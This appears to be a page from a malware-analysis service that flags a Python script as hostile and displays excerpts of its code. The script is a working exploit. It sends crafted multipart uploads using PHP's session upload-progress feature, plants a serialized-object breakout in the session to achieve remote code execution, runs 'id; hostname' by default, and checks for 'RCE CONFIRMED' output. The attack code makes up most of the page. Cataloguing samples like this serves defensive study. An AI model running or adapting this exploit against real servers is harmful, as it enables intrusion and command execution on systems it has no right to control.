an atomdrift project
Hostile 100% python Download

renamed.py

Upload-progress client builds a session object breakoutPHP session object breakout literal
SHA-256fb2b608d2be3bcb27bd799ae38ef55a5f4a7210ff682e86a673c1d5ed8d04ebd

Evidence

Calls Python request with POST method lines 1–16
1import argparse, http.client, sys, time, uuid, re
2SEP = b'----Xboundary42'
3MP_CT = 'multipart/form-data; boundary=' + SEP.decode()
4
5def post(hostport, path, body, ctype, cookies=None, timeout=900):
6 transport = http.client.HTTPConnection(hostport, timeout=timeout)
7 h = {'Content-Type': ctype}
8 if cookies:
9 h['Cookie'] = cookies
10 transport.request('POST', path, body=body, headers=h)
11 r = transport.getresponse()
12 data = r.read()
⋯4 lines
Constructs an HTTP Cookie request header lines 17–22
17:11… ort = http.client.HTTPConnection(hostport, timeout=timeout)
18 transport.request('GET', path, headers={'Cookie': cookies} if cookies else {})
19 r = transport.getresponse()
20 data = r.read()
21 transport.close()
22 return (r.status, da …
PHP session object breakout literal lines 23–59
⋯4 lines
27def build_carrier(session_key, CAPACITY, PREFIX, instruction):
28 try:
29 payload = open('/tmp/tp_payload.txt', 'rb').read().strip()
30 except FileNotFoundError:
31 payload = b''
32 if payload:
33 blob = b'";state|' + payload
34 else:
35 blob = b'";state|O:9:"AuditTask":1:{s:3:"instruction";s:%d:"%s";}' % (len(instruction), instruction)
36 off = s_off(PREFIX) + PREFIX - s_off(CAPACITY)
37 note = b'C' * off + blob + b'c' * (CAPACITY - off - len(blob))
38 return b'newnote=' + note
39
40def build_replacement(session_key, PREFIX, FN, PAD2):
41 out = b''
42 out += b'--' + SEP + b'\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nk\r\n'
43 out += b'--' + SEP + b'\r\nContent-Disposition: form-data; name="PHPSESSID"\r\n\r\n' + session_key.encode() + b'\r\n'
44 out += b'--' + SEP + b'\r\nContent-Disposition: form-data; name="newnote"\r\n\r\n' + b'S' * PREFIX + b'\r\n'
45 out += b'--' + SEP + b'\r\nContent-Disposition: form-data; name="pad2"\r\n\r\n' + b'P' * PAD2 + b'\r\n'
46 out += b'--' + SEP + b'\r\nContent-Disposition: form-data; name="f"; filename="' + b'R' * FN + b'"\r\nContent-Type: application/octet-stream\r\n\r\n' + b'\x00' * 65536 + b'\r\n'
47 out += b'--' + SEP + b'--\r\n'
48 return out
49
50def main():
51 ap = argparse.ArgumentParser()
52 ap.add_argument('--url', required=True, default='http://example.invalid:8087')
53 ap.add_argument('--instruction', default='id; hostname')
54 ap.add_argument('--scale', type=float, default=1.0)
55 ap.add_argument('--consume', default='/status.php', help='consumer path (TP entry for POP RCE)')
56 ap.add_argument('--post-path', default='/ingest.php', help='carrier/replacement target')
57 a = ap.parse_args()
58 hostport = a.url.split('://', 1)[-1].strip('/')
59 instruction …
Chained open().write() call syntax lines 60–77
60:17…
61 (CAPACITY, PREFIX, FN, PAD2) = (int(x * sc) for x in (33554432, 25165824, 2097152, 12582912))
62 for rnd in range(1, 6):
63 session_key = uuid.uuid4().hex
64 ck = f'PHPSESSID={session_key}'
65 print(f'[round {rnd}] session_key={session_key[:10]} sizes note={CAPACITY >> 20}M/{PREFIX >> 20}M', flush=True)
66 for attempt in range(4):
67 try:
68 (st, b) = post(hostport, a.post_path, build_carrier(session_key, CAPACITY, PREFIX, instruction), 'application/x-www-form-urlencoded', ck)
69 print(f' carrier: {st} {b[:30]}', flush=True)
70 break
71 except Exception as e:
72 print(f' carrier retry {attempt}: {type(e).__name__}', flush=True)
73 time.sleep(2)
74 open('/tmp/target_sid', 'w').write(session_key)
75 for attempt in range(4):
76 try:
77 (st, b) = post(hostport, a.post_path, build_repla …
Structured CVE identifier lines 91–94
91:52… ) if state else '?')}", flush=True)
92 if 'RCE via CVE-2026-126714' in txt or re.search('uid=\\d+\\(', txt):
93 print('\n' + '=' * 62)
94 print('RCE CONFIRMED o …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.